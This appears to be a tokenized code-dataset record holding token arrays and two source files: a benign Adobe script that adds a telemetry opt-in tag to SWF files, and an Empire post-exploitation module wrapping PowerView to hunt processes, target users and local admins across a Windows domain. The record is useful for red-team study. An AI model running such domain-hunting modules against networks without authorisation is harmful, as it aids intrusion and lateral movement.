[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
shinho/SC2
bin/add-opt-in.py
1
7666
#!/usr/bin/env python # Copyright (c) 2012, Adobe Systems Incorporated # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # * Neither the name of Adobe Systems Incorporated nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS # IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR # PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF # LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. '''See readme or run with no args for usage''' import os import sys import tempfile import shutil import struct import zlib import hashlib import inspect supportsLZMA = False try: import pylzma supportsLZMA = True except: pass #################################### # Helpers #################################### class stringFile(object): def __init__(self, data): self.data = data def read(self, num=-1): result = self.data[:num] self.data = self.data[num:] return result def close(self): self.data = None def flush(self): pass def consumeSwfTag(f): tagBytes = "" recordHeaderRaw = f.read(2) tagBytes += recordHeaderRaw if recordHeaderRaw == "": raise Exception("Bad SWF: Unexpected end of file") recordHeader = struct.unpack("BB", recordHeaderRaw) tagCode = ((recordHeader[1] & 0xff) << 8) | (recordHeader[0] & 0xff) tagType = (tagCode >> 6) tagLength = tagCode & 0x3f if tagLength == 0x3f: ll = f.read(4) longlength = struct.unpack("BBBB", ll) tagLength = ((longlength[3]&0xff) << 24) | ((longlength[2]&0xff) << 16) | ((longlength[1]&0xff) << 8) | (longlength[0]&0xff) tagBytes += ll tagBytes += f.read(tagLength) return (tagType, tagBytes) def outputInt(o, i): o.write(struct.pack('I', i)) def outputTelemetryTag(o, passwordClear): lengthBytes = 2 # reserve if passwordClear: sha = hashlib.sha256() sha.update(passwordClear) passwordDigest = sha.digest() lengthBytes += len(passwordDigest) # Record header code = 93 if lengthBytes >= 63: o.write(struct.pack('<HI', code << 6 | 0x3f, lengthBytes)) else: o.write(struct.pack('<H', code << 6 | lengthBytes)) # Reserve o.write(struct.pack('<H', 0)) # Password if passwordClear: o.write(passwordDigest) #################################### # main() #################################### if __name__ == "__main__": #################################### # Parse command line #################################### if len(sys.argv) < 2: print("Usage: %s SWF_FILE [PASSWORD]" % os.path.basename(inspect.getfile(inspect.currentframe()))) print("\nIf PASSWORD is provided, then a password will be required to view advanced telemetry in Adobe 'Monocle'.") sys.exit(-1) infile = sys.argv[1] passwordClear = sys.argv[2] if len(sys.argv) >= 3 else None #################################### # Process SWF header #################################### swfFH = open(infile, 'rb') signature = swfFH.read(3) swfVersion = swfFH.read(1) struct.unpack("<I", swfFH.read(4))[0] # uncompressed length of file if signature == "FWS": pass elif signature == "CWS": decompressedFH = stringFile(zlib.decompressobj().decompress(swfFH.read())) swfFH.close() swfFH = decompressedFH elif signature == "ZWS": if not supportsLZMA: raise Exception("You need the PyLZMA package to use this script on \ LZMA-compressed SWFs. http://www.joachim-bauch.de/projects/pylzma/") swfFH.read(4) # compressed length decompressedFH = stringFile(pylzma.decompress(swfFH.read())) swfFH.close() swfFH = decompressedFH else: raise Exception("Bad SWF: Unrecognized signature: %s" % signature) f = swfFH o = tempfile.TemporaryFile() o.write(signature) o.write(swfVersion) outputInt(o, 0) # FileLength - we'll fix this up later # FrameSize - this is nasty to read because its size can vary rs = f.read(1) r = struct.unpack("B", rs) rbits = (r[0] & 0xff) >> 3 rrbytes = (7 + (rbits*4) - 3) / 8; o.write(rs) o.write(f.read((int)(rrbytes))) o.write(f.read(4)) # FrameRate and FrameCount #################################### # Process each SWF tag #################################### while True: (tagType, tagBytes) = consumeSwfTag(f) if tagType == 93: raise Exception("Bad SWF: already has EnableTelemetry tag") elif tagType == 92: raise Exception("Bad SWF: Signed SWFs are not supported") elif tagType == 69: # FileAttributes tag o.write(tagBytes) # Look ahead for Metadata tag. If present, put our tag after it (nextTagType, nextTagBytes) = consumeSwfTag(f) writeAfterNextTag = nextTagType == 77 if writeAfterNextTag: o.write(nextTagBytes) outputTelemetryTag(o, passwordClear) # If there was no Metadata tag, we still need to write that tag out if not writeAfterNextTag: o.write(nextTagBytes) (tagType, tagBytes) = consumeSwfTag(f) o.write(tagBytes) if tagType == 0: break #################################### # Finish up #################################### # Fix the FileLength header uncompressedLength = o.tell() o.seek(4) o.write(struct.pack("I", uncompressedLength)) o.flush() o.seek(0) # Copy the temp file to the outFile, compressing if necessary outFile = open(infile, "wb") if signature == "FWS": shutil.copyfileobj(o, outFile) else: outFile.write(o.read(8)) # File is compressed after header if signature == "CWS": outFile.write(zlib.compress(o.read())) elif signature == "ZWS": compressed = pylzma.compress(o.read()) outputInt(outFile, len(compressed)-5) # LZMA SWF has CompressedLength header field outFile.write(compressed) else: assert(false) outFile.close() if passwordClear: print("Added opt-in flag with encrypted password " + passwordClear) else: print("Added opt-in flag with no password")
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 334, 67, 9, 6029, 12, 437, 1117, 1235, 15285, 1010, 20504, 972, 199, 3, 2900, 4481, 4644, 14, 199, 3, 221, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 221, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 199, 3, 221, 199, 3, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 4245, 12, 221, 199, 3, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 221, 199, 3, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 221, 199, 3, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 14, 199, 3, 221, 199, 3, 627, 11443, 314, 536, 402, 437, 1117, 1235, 15285, 1010, 20504, 972, 6590, 314, 1561, 402, 2399, 221, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 221, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 221, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 298, 1179, 199, 3, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 199, 3, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 437, 3115, 199, 3, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 11489, 1549, 221, 199, 3, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 8820, 12, 199, 3, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 5471, 2296, 12, 199, 3, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 7126, 12, 1549, 199, 3, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 9815, 1634, 199, 3, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 334, 6446, 199, 3, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 1634, 5749, 199, 3, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 2344, 9295, 1586, 278, 503, 1255, 543, 949, 1249, 367, 4503, 2344, 199, 199, 646, 747, 199, 646, 984, 199, 646, 5549, 199, 646, 5145, 199, 646, 2702, 199, 646, 12472, 199, 646, 8337, 199, 646, 6485, 199, 199, 9823, 44, 58, 2054, 275, 756, 199, 893, 26, 272, 492, 1134, 28997, 391, 272, 5171, 44, 58, 2054, 275, 715, 199, 2590, 26, 272, 986, 199, 199, 1371, 381, 199, 3, 11642, 83, 199, 1371, 381, 199, 199, 533, 1059, 1173, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 666, 304, 267, 291, 14, 576, 275, 666, 339, 347, 1586, 8, 277, 12, 1967, 4022, 17, 304, 267, 754, 275, 291, 14, 576, 1491, 1507, 61, 267, 291, 14, 576, 275, 291, 14, 576, 59, 1507, 2938, 267, 372, 754, 339, 347, 4002, 8, 277, 304, 267, 291, 14, 576, 275, 488, 339, 347, 8976, 8, 277, 304, 267, 986, 199, 199, 318, 9451, 10941, 70, 1931, 8, 70, 304, 272, 1947, 5571, 275, 3087, 339, 2777, 2567, 7963, 275, 289, 14, 739, 8, 18, 9, 272, 1947, 5571, 847, 2777, 2567, 7963, 2286, 340, 2777, 2567, 7963, 508, 10812, 267, 746, 2186, 480, 5725, 17548, 38, 26, 25345, 1284, 402, 570, 531, 272, 2777, 2567, 275, 2702, 14, 5301, 480, 5342, 401, 2777, 2567, 7963, 9, 272, 1947, 3034, 275, 3666, 3059, 2567, 59, 17, 61, 1253, 378, 3581, 9, 5213, 1695, 9, 1204, 334, 3059, 2567, 59, 16, 61, 1253, 378, 3581, 9, 272, 1947, 804, 275, 334, 1450, 3034, 4331, 1227, 9, 272, 1947, 4625, 275, 1947, 3034, 1253, 378, 88, 19, 70, 272, 340, 1947, 4625, 508, 378, 88, 19, 70, 26, 267, 18338, 275, 289, 14, 739, 8, 20, 9, 267, 1846, 1267, 275, 2702, 14, 5301, 480, 5342, 5342, 401, 18338, 9, 267, 1947, 4625, 275, 3666, 2809, 1267, 59, 19, 61, 6, 16, 3581, 9, 5213, 5504, 9, 1204, 3666, 2809, 1267, 59, 18, 61, 6, 16, 3581, 9, 5213, 3193, 9, 1204, 3666, 2809, 1267, 59, 17, 61, 6, 16, 3581, 9, 5213, 1695, 9, 1204, 334, 2809, 1267, 59, 16, 61, 6, 16, 3581, 9, 267, 1947, 5571, 847, 18338, 272, 1947, 5571, 847, 289, 14, 739, 8, 1450, 4625, 9, 272, 372, 334, 1450, 804, 12, 1947, 5571, 9, 199, 199, 318, 1072, 3241, 8, 79, 12, 284, 304, 272, 312, 14, 952, 8, 1820, 14, 1389, 360, 41, 297, 284, 430, 199, 199, 318, 1072, 24944, 10987, 1931, 8, 79, 12, 2505, 9721, 304, 339, 2582, 5571, 275, 499, 327, 32606, 272, 340, 2505, 9721, 26, 267, 7793, 275, 8337, 14, 4835, 3912, 342, 267, 7793, 14, 873, 8, 2060, 9721, 9, 267, 2505, 18541, 275, 7793, 14, 5671, 342, 267, 2582, 5571, 847, 822, 8, 2060, 18541, 9, 339, 327, 12651, 1406, 272, 1233, 275, 18969, 272, 340, 2582, 5571, 2356, 13668, 26, 267, 312, 14, 952, 8, 1820, 14, 1389, 4827, 11183, 297, 1233, 5213, 1227, 1204, 378, 88, 19, 70, 12, 2582, 5571, 430, 272, 587, 26, 267, 312, 14, 952, 8, 1820, 14, 1389, 4827, 40, 297, 1233, 5213, 1227, 1204, 2582, 5571, 430, 339, 327, 799, 4909, 272, 312, 14, 952, 8, 1820, 14, 1389, 4827, 40, 297, 378, 430, 2286, 327, 13635, 272, 340, 2505, 9721, 26, 267, 312, 14, 952, 8, 2060, 18541, 9, 199, 199, 1371, 381, 199, 3, 2446, 342, 199, 1371, 381, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 339, 10371, 381, 272, 327, 6077, 1414, 1004, 272, 10371, 381, 339, 340, 822, 8, 1274, 14, 3020, 9, 665, 499, 26, 267, 870, 480, 7692, 26, 450, 83, 17548, 38, 63, 3817, 359, 9032, 8480, 450, 747, 14, 515, 14, 4846, 8, 10955, 14, 23462, 8, 10955, 14, 1818, 1943, 16890, 199, 198, 1361, 4582, 29337, 21705, 5172, 365, 2741, 12, 2066, 282, 2505, 911, 506, 1415, 370, 2455, 19472, 17298, 315, 437, 1117, 1235, 283, 6671, 679, 274, 29435, 267, 984, 14, 2224, 2801, 17, 9, 339, 14734, 275, 984, 14, 3020, 59, 17, 61, 272 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1898, 334, 67, 9, 6029, 12, 437, 1117, 1235, 15285, 1010, 20504, 972, 199, 3, 2900, 4481, 4644, 14, 199, 3, 221, 199, 3, 10114, 436, 675, 315, 1350, 436, 3366, 4513, 12, 543, 503, 1928, 221, 199, 3, 7100, 12, 787, 8211, 2741, 626, 314, 2569, 3704, 787, 199, 3, 7647, 26, 199, 3, 221, 199, 3, 627, 6823, 402, 1350, 1233, 1471, 8074, 314, 3432, 4248, 4245, 12, 221, 199, 3, 642, 769, 402, 3704, 436, 314, 2569, 6450, 14, 199, 3, 221, 199, 3, 627, 6823, 315, 3366, 1824, 1471, 9172, 314, 3432, 4248, 199, 3, 4245, 12, 642, 769, 402, 3704, 436, 314, 2569, 6450, 315, 314, 221, 199, 3, 3794, 436, 15, 269, 1163, 8418, 2741, 543, 314, 4084, 14, 199, 3, 221, 199, 3, 627, 11443, 314, 536, 402, 437, 1117, 1235, 15285, 1010, 20504, 972, 6590, 314, 1561, 402, 2399, 221, 199, 3, 8417, 1443, 506, 1202, 370, 10692, 503, 10016, 7585, 7131, 687, 221, 199, 3, 642, 2032, 1928, 2488, 6791, 5313, 4983, 14, 199, 3, 221, 199, 3, 5749, 4141, 2281, 7049, 6515, 2334, 5877, 8164, 2401, 6483, 298, 1179, 199, 3, 2281, 2, 2401, 1821, 7168, 1549, 5292, 2990, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 199, 3, 2334, 5292, 2990, 1634, 3169, 2401, 3092, 2381, 437, 3115, 199, 3, 3104, 9315, 9706, 14, 1621, 4825, 6461, 7000, 2334, 5877, 11489, 1549, 221, 199, 3, 6483, 6262, 7024, 2381, 1821, 8703, 12, 9168, 12, 9716, 12, 8820, 12, 199, 3, 9836, 12, 1549, 9110, 6736, 334, 6446, 12, 5400, 2845, 5471, 2296, 12, 199, 3, 9838, 1634, 9103, 9764, 1549, 9714, 27, 9102, 1634, 4815, 12, 7126, 12, 1549, 199, 3, 9206, 27, 1549, 9748, 9831, 9, 9802, 9817, 2401, 5258, 1821, 9815, 1634, 199, 3, 5603, 12, 7061, 1621, 7066, 12, 9644, 5603, 12, 1549, 7056, 334, 6446, 199, 3, 9254, 1549, 7334, 9, 7043, 1621, 1821, 9683, 5738, 1634, 2334, 4815, 1634, 5749, 199, 3, 4141, 12, 9704, 8036, 9691, 1634, 2334, 9726, 1634, 9712, 9784, 14, 199, 199, 2344, 9295, 1586, 278, 503, 1255, 543, 949, 1249, 367, 4503, 2344, 199, 199, 646, 747, 199, 646, 984, 199, 646, 5549, 199, 646, 5145, 199, 646, 2702, 199, 646, 12472, 199, 646, 8337, 199, 646, 6485, 199, 199, 9823, 44, 58, 2054, 275, 756, 199, 893, 26, 272, 492, 1134, 28997, 391, 272, 5171, 44, 58, 2054, 275, 715, 199, 2590, 26, 272, 986, 199, 199, 1371, 381, 199, 3, 11642, 83, 199, 1371, 381, 199, 199, 533, 1059, 1173, 8, 785, 304, 272, 347, 636, 826, 721, 277, 12, 666, 304, 267, 291, 14, 576, 275, 666, 339, 347, 1586, 8, 277, 12, 1967, 4022, 17, 304, 267, 754, 275, 291, 14, 576, 1491, 1507, 61, 267, 291, 14, 576, 275, 291, 14, 576, 59, 1507, 2938, 267, 372, 754, 339, 347, 4002, 8, 277, 304, 267, 291, 14, 576, 275, 488, 339, 347, 8976, 8, 277, 304, 267, 986, 199, 199, 318, 9451, 10941, 70, 1931, 8, 70, 304, 272, 1947, 5571, 275, 3087, 339, 2777, 2567, 7963, 275, 289, 14, 739, 8, 18, 9, 272, 1947, 5571, 847, 2777, 2567, 7963, 2286, 340, 2777, 2567, 7963, 508, 10812, 267, 746, 2186, 480, 5725, 17548, 38, 26, 25345, 1284, 402, 570, 531, 272, 2777, 2567, 275, 2702, 14, 5301, 480, 5342, 401, 2777, 2567, 7963, 9, 272, 1947, 3034, 275, 3666, 3059, 2567, 59, 17, 61, 1253, 378, 3581, 9, 5213, 1695, 9, 1204, 334, 3059, 2567, 59, 16, 61, 1253, 378, 3581, 9, 272, 1947, 804, 275, 334, 1450, 3034, 4331, 1227, 9, 272, 1947, 4625, 275, 1947, 3034, 1253, 378, 88, 19, 70, 272, 340, 1947, 4625, 508, 378, 88, 19, 70, 26, 267, 18338, 275, 289, 14, 739, 8, 20, 9, 267, 1846, 1267, 275, 2702, 14, 5301, 480, 5342, 5342, 401, 18338, 9, 267, 1947, 4625, 275, 3666, 2809, 1267, 59, 19, 61, 6, 16, 3581, 9, 5213, 5504, 9, 1204, 3666, 2809, 1267, 59, 18, 61, 6, 16, 3581, 9, 5213, 3193, 9, 1204, 3666, 2809, 1267, 59, 17, 61, 6, 16, 3581, 9, 5213, 1695, 9, 1204, 334, 2809, 1267, 59, 16, 61, 6, 16, 3581, 9, 267, 1947, 5571, 847, 18338, 272, 1947, 5571, 847, 289, 14, 739, 8, 1450, 4625, 9, 272, 372, 334, 1450, 804, 12, 1947, 5571, 9, 199, 199, 318, 1072, 3241, 8, 79, 12, 284, 304, 272, 312, 14, 952, 8, 1820, 14, 1389, 360, 41, 297, 284, 430, 199, 199, 318, 1072, 24944, 10987, 1931, 8, 79, 12, 2505, 9721, 304, 339, 2582, 5571, 275, 499, 327, 32606, 272, 340, 2505, 9721, 26, 267, 7793, 275, 8337, 14, 4835, 3912, 342, 267, 7793, 14, 873, 8, 2060, 9721, 9, 267, 2505, 18541, 275, 7793, 14, 5671, 342, 267, 2582, 5571, 847, 822, 8, 2060, 18541, 9, 339, 327, 12651, 1406, 272, 1233, 275, 18969, 272, 340, 2582, 5571, 2356, 13668, 26, 267, 312, 14, 952, 8, 1820, 14, 1389, 4827, 11183, 297, 1233, 5213, 1227, 1204, 378, 88, 19, 70, 12, 2582, 5571, 430, 272, 587, 26, 267, 312, 14, 952, 8, 1820, 14, 1389, 4827, 40, 297, 1233, 5213, 1227, 1204, 2582, 5571, 430, 339, 327, 799, 4909, 272, 312, 14, 952, 8, 1820, 14, 1389, 4827, 40, 297, 378, 430, 2286, 327, 13635, 272, 340, 2505, 9721, 26, 267, 312, 14, 952, 8, 2060, 18541, 9, 199, 199, 1371, 381, 199, 3, 2446, 342, 199, 1371, 381, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 339, 10371, 381, 272, 327, 6077, 1414, 1004, 272, 10371, 381, 339, 340, 822, 8, 1274, 14, 3020, 9, 665, 499, 26, 267, 870, 480, 7692, 26, 450, 83, 17548, 38, 63, 3817, 359, 9032, 8480, 450, 747, 14, 515, 14, 4846, 8, 10955, 14, 23462, 8, 10955, 14, 1818, 1943, 16890, 199, 198, 1361, 4582, 29337, 21705, 5172, 365, 2741, 12, 2066, 282, 2505, 911, 506, 1415, 370, 2455, 19472, 17298, 315, 437, 1117, 1235, 283, 6671, 679, 274, 29435, 267, 984, 14, 2224, 2801, 17, 9, 339, 14734, 275, 984, 14, 3020, 59, 17, 61, 272, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
rvazarkar/Empire
lib/modules/situational_awareness/network/powerview/process_hunter.py
2
5523
from lib.common import helpers class Module: def __init__(self, mainMenu, params=[]): self.info = { 'Name': 'Invoke-ProcessHunter', 'Author': ['@harmj0y'], 'Description': ('Query the process lists of remote machines, searching for processes with a specific name or owned by a specific user.'), 'Background' : True, 'OutputExtension' : None, 'NeedsAdmin' : False, 'OpsecSafe' : True, 'MinPSVersion' : '2', 'Comments': [ 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' ] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { 'Description' : 'Agent to run module on.', 'Required' : True, 'Value' : '' }, 'ComputerName' : { 'Description' : 'Hosts to enumerate.', 'Required' : False, 'Value' : '' }, 'ComputerFilter' : { 'Description' : 'Host filter name to query AD for, wildcards accepted.', 'Required' : False, 'Value' : '' }, 'ProcessName' : { 'Description' : 'The name of the process to hunt, or a comma separated list of names.', 'Required' : False, 'Value' : '' }, 'GroupName' : { 'Description' : 'Group name to query for target users.', 'Required' : False, 'Value' : '' }, 'TargetServer' : { 'Description' : 'Hunt for users who are effective local admins on a target server.', 'Required' : False, 'Value' : '' }, 'UserName' : { 'Description' : 'Specific username to search for.', 'Required' : False, 'Value' : '' }, 'UserFilter' : { 'Description' : 'A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"', 'Required' : False, 'Value' : '' }, 'StopOnSuccess' : { 'Description' : 'Switch. Stop hunting after finding after finding a target user.', 'Required' : False, 'Value' : '' }, 'NoPing' : { 'Description' : "Don't ping each host to ensure it's up before enumerating.", 'Required' : False, 'Value' : '' }, 'Delay' : { 'Description' : 'Delay between enumerating hosts, defaults to 0.', 'Required' : False, 'Value' : '' }, 'Domain' : { 'Description' : 'The domain to use for the query, defaults to the current domain.', 'Required' : False, 'Value' : '' }, 'DomainController' : { 'Description' : 'Domain controller to reflect LDAP queries through.', 'Required' : False, 'Value' : '' }, 'Threads' : { 'Description' : 'The maximum concurrent threads to execute.', 'Required' : False, 'Value' : '' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self): moduleName = self.info["Name"] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() # get just the code needed for the specified function script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) script += moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' return script
bsd-3-clause
[ 504, 1973, 14, 2330, 492, 10897, 199, 199, 533, 5673, 26, 339, 347, 636, 826, 721, 277, 12, 2446, 5977, 12, 1862, 17894, 398, 291, 14, 815, 275, 469, 288, 283, 985, 356, 283, 27736, 13, 3498, 40, 7867, 297, 953, 283, 5949, 356, 788, 32, 72, 5362, 74, 16, 89, 995, 953, 283, 5831, 356, 661, 3227, 314, 2112, 5548, 402, 3982, 20601, 12, 18112, 367, 10358, 543, 282, 2488, 536, 503, 23191, 701, 282, 2488, 922, 8038, 953, 283, 14148, 7, 520, 715, 12, 953, 283, 2959, 6382, 7, 520, 488, 12, 7846, 283, 28390, 4880, 7, 520, 756, 12, 953, 283, 4619, 3321, 11090, 7, 520, 715, 12, 7846, 283, 4649, 5067, 3353, 7, 520, 283, 18, 297, 7846, 283, 18929, 356, 359, 355, 283, 2859, 921, 5031, 14, 957, 15, 6921, 8529, 37, 311, 3621, 15, 6921, 11654, 15, 2350, 15, 4133, 15, 6921, 2768, 7, 288, 1622, 267, 789, 398, 327, 1263, 1511, 4346, 701, 314, 859, 12, 663, 1224, 5309, 8836, 267, 291, 14, 1419, 275, 469, 288, 327, 1475, 26, 288, 327, 257, 574, 63, 354, 520, 469, 1802, 12, 1415, 12, 849, 63, 585, 93, 288, 283, 7788, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 7788, 370, 1255, 859, 641, 3130, 355, 283, 8030, 7, 420, 520, 257, 715, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 2404, 2699, 985, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 19620, 370, 3874, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 2404, 2699, 4131, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 4965, 2457, 536, 370, 1827, 16271, 367, 12, 24952, 10226, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 3498, 985, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 1918, 536, 402, 314, 2112, 370, 394, 638, 12, 503, 282, 10029, 11673, 769, 402, 1561, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 14405, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 2448, 536, 370, 1827, 367, 1347, 4390, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 4277, 3120, 7, 520, 469, 355, 283, 5831, 7, 257, 520, 257, 283, 40, 638, 367, 4390, 3963, 787, 15826, 2257, 4628, 83, 641, 282, 1347, 1654, 3130, 355, 283, 8030, 7, 420, 520, 257, 756, 12, 355, 283, 1110, 7, 260, 520, 257, 2125, 288, 1660, 288, 283, 